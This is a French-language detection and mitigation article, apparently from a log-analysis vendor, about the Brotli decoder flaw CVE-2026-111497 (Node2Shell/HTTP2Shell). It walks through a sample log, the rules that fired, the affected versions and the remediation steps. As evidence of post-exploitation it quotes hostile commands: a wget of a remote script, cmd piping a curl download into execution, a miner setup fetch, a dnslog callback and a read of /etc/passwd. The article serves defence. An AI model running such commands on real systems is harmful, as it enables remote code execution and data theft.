Détection Node2Shell/HTTP2Shell

La détection de Node2Shell/HTTP2Shell est plus difficile qu’il n’y paraît, car la vulnérabilité n’est pas confinée à un seul produit. Node2Shell, également appelé HTTP2Shell, est CVE-2026-111497 : une écriture hors limites dans le décodeur Brotli C de Google, versions 1.0.3 à 1.2.0, avec un score CVSS 4.0 de 9.2. Étant donné que la faille se situe dans une bibliothèque de compression partagée, elle s’étend à Node.js, aux packages Python Brotli, à Bun, à curl, à Envoy, et à d’autres logiciels qui décodent Brotli.

Cet article couvre la détection de Node2Shell/HTTP2Shell en utilisant un échantillon de journal analysé dans LogTotal, un outil d’analyse des journaux qui fait correspondre les événements aux menaces connues. Ci-dessous, nous couvrons le contexte de la vulnérabilité, la source du journal, ce que LogTotal a rapporté et comment réagir.

Commencez gratuitement

Analyse de Node2Shell (HTTP2Shell)

Le code vulnérable se situe dans les versions 1.0.3 à 1.2.0 du décodeur Brotli C. Google, en tant qu’autorité de numérotation, l’a noté à 9.2 sous CVSS 4.0, tandis que Node.js le classe élevé. Pour lire correctement l’échantillon de journal, il est utile de savoir comment le bug est déclenché, comment la divulgation s’est déroulée et quelles versions et configurations logicielles sont exposées.

Détails de la vulnérabilité pour Node2Shell

Un flux Brotli qui déclarait un seul type de bloc puis changeait de blocs n’était pas rejeté, donc le décodage continuait dans un état invalide et écrivait au-delà d’un tampon. Tout processus qui décompresse des données Brotli contrôlées par un attaquant peut être touché, dans deux directions :

• Entrant : un corps de requête HTTP compressé en Brotli fabriqué envoyé à un serveur qui le décode.
• Sortant : une réponse fabriquée renvoyée à un client qui la récupère.

Le bug porte plusieurs noms. Node2Shell est apparu en premier parce que Node.js l’a divulgué et corrigé en premier. HTTP2Shell reflète qu’il atteint toute pile qui décode Brotli sur HTTP, et certaines couvertures utilisent également Python2Shell et Broccoli2Shell.

Chronologie de la divulgation et de l’exploitation

Le bug lui-même a été transporté dans Brotli 1.0.3 en mars 2018. Khai Tran et Sylvie Mayer de OpenAI Codex Security l’ont signalé à Node.js. Une preuve de concept publique existe, Imperva et ELLIO ont tous deux reproduit l’exécution de code contre les builds officiels de Node.js, et des scanners qui cartographient quels hôtes décompressent Brotli sont déjà en utilisation. L’exécution de code n’a pas été montrée pour les packages Python, bien qu’ils plantent sur des entrées malveillantes, comme le montre le crash web-prod-01 dans cet échantillon.

Versions et corrections affectées par Node2Shell

Une version vulnérable n’est exposée que si les données de l’attaquant peuvent atteindre le décodeur. Dans Node.js, ce chemin existe via Express 5, body-parser 2.x, les parseurs de corps de Koa, @fastify/compress avec la décompression des requêtes, fetch(), et les appels direct node:zlib Brotli. En Python, requests, httpx, aiohttp, et Scrapy utilisent le package brotli ou brotlicffi chaque fois qu’il est installé. En .NET, la décompression Brotli est désactivée par défaut, et Envoy et Istio ne sont exposés que si le décompresseur Brotli est activé. curl décode Brotli uniquement avec –compressed, via la libbrotli du système, donc il a besoin d’un package de distribution corrigé ; Debian et Red Hat en ont expédié des corrects.

Source et collecte du journal

Hôtes dans l’échantillon

Trois hôtes apparaissent dans les données brutes, sur deux systèmes d’exploitation. Chacun montre une partie différente de l’exposition de Node2Shell.

Détecter Node2Shell (HTTP2Shell)

LogTotal a traité 11 lignes en 5,3 secondes et a mis en correspondance 23 règles avec 10 lignes. Il a formé 2 chaînes, en a rapporté 1, et en a filtré 1 à l’étape de vérification AI.

La chaîne rapportée est Node2Shell / HTTP2Shell est une vulnérabilité critique (CVE-2026-111497): Élevée, correspondance à 100 %, 2 règles activées. Elle se situe sur un hôte pseudonymisé entre 11:30 et 11:31 UTC, et cette fenêtre et les preuves correspondent à app-node-01.

Exploitation : le crash du décodeur Brotli

La règle « Tentative d’exploitation possible de CVE-2026-111497 (HTTP2Shell / Node2Shell) – Crash natif du décodeur Brotli » correspond au plantage du nœud dans libbrotlidec.so.1.1.0. La pile du core dump est dominée par BrotliDecoderDecompressStream.

Le rapport associe ce crash au déni de service (T1499.004), qui est d’où vient l’étape d’Impact. Le dernier coup de la règle, à 11:33, tombe sur le crash de python3 dans _brotli.cpython-311 sur web-prod-01, qui montre la même bibliothèque échouant dans un deuxième environnement d’exécution.

Post-exploitation sur Linux

« Processus enfants NodeJS suspects [Linux] » a été activé 4 fois alors que le nœud /opt/app/server.js a engendré :

• curl récupérant le script de configuration du mineur C3Pool XMRig public
• wget http://198.51.100.23:3000/s.sh
• ping -c 1 5axzi7.dnslog.cn, une vérification de rappel hors bande
• cat /etc/passwd

Post-exploitation sur Windows, en dehors de la chaîne

La moitié Windows de l’échantillon se situe en dehors de la chaîne rapportée mais mérite la même attention. Sur win-dev-01, node.exe a engendré cmd.exe /c « curl -s https://198.51.100.23/api/w | cmd », un modèle de téléchargement et d’exécution, puis un powershell.exe masqué exécutant whoami.

Les règles qui ont été activées par cette activité incluent Processus enfants NodeJS suspects [Windows], Lecture des contenus depuis Stdin via Cmd.EXE, et Cmdlets Powershell suspects. La chaîne filtrée, Meet AvisLoader : A Windows Loader Built to Outlast a Takedown (Élevée), a été motivée par les exécutions curl.

Indicateurs de compromission (IOC) de Node2Shell dans cet échantillon

Utilisation des résultats de LogTotal dans le triage de Node2Shell

Commencer par la chaîne rapportée pour confirmer l’exploitation sur app-node-01, puis travailler à travers chaque découverte en dehors de la chaîne. Dans cet échantillon, les règles hors chaîne et la chaîne filtrée pointent vers deux hôtes supplémentaires affectés, web-prod-01 et win-dev-01.

Atténuation de Node2Shell (HTTP2Shell)

Appliquer un correctif à Node.js seul ne résout pas Node2Shell, car la faille se situe dans le décodeur Brotli partagé. Chaque environnement d’exécution ou proxy qui décompresse Brotli a besoin d’une mise à jour, et chaque hôte dans l’échantillon doit être dans le champ d’application.

Corriger chaque consommateur Brotli

1. Recherchez des services sur Node.js en dessous de 22.23.4, 24.22.1, ou 26.12.1, sur une ligne Node.js en fin de vie, ou sur Bun en dessous de 1.4.4, y compris les images de base et les hôtes de construction.
2. Corrigez d’abord les services qui décompressent les corps de requête (Express 5, body-parser 2.x, les parseurs de corps de Koa, @fastify/compress), récupèrent des URL fournies par l’utilisateur, ou passent des données non fiables aux fonctions Brotli node:zlib.
3. Mettez à jour l’environnement d’exécution, puis redémarrez les processus et reconstruisez les images de conteneur, y compris les applications .NET autonomes et les binaires construits avec bun build –compile.
4. Mettez à jour PyPI brotli vers 1.2.1 et brotlicffi vers 1.2.1.0, et mettez à jour le runtime .NET, Envoy, Istio, et les packages de distribution brotli.
5. Quittez Node.js 20 et autres lignes en fin de vie, qui ne recevront aucune correction.
6. Jusqu’à ce que les correctifs soient disponibles, rejetez Content-Encoding: br au niveau du WAF ou du proxy, en le faisant correspondre sans tenir compte de la casse et à l’intérieur des listes telles que « gzip, br ». Cela ne couvre pas les réponses Brotli lues par fetch().

Réponse recommandée de LogTotal

1. Isolez l’hôte.
2. Collectez des données de processus, système, et réseau pour 11:30–11:33 UTC.
3. Vérifiez le niveau de correctif de Node.js : 22.23.4, 24.22.1, ou 26.12.1.
4. Supprimez les binaires non autorisés.
5. Rejetez Content-Encoding: br non fiable au WAF.
6. Exécutez Node.js sans privilèges.
7. Désactivez la décompression Brotli automatique lorsque c’est possible.

Étapes supplémentaires à partir des preuves brutes

1. Élargissez le champ d’application à win-dev-01 et web-prod-01, pas seulement à app-node-01.
2. Bloquer à la sortie 198.51.100.23 et *.dnslog.cn.
3. Vérifiez la présence d’un mineur : entrées cron, unités systemd, et un processus xmrig en cours d’exécution.
4. Supposez que /etc/passwd a été lu et examinez les comptes en conséquence.
5. Chassez pour node, node.exe, ou python3 engendrant des shells, téléchargeurs, ou outils réseau.

Surveillance continue de Node2Shell

Transférez les messages du noyau et de core dump systemd avec les événements de processus EDR. Dans cet échantillon, la pile de core dump était la seule preuve directe d’exploitation, et les événements EDR ont transporté tout ce qui a suivi.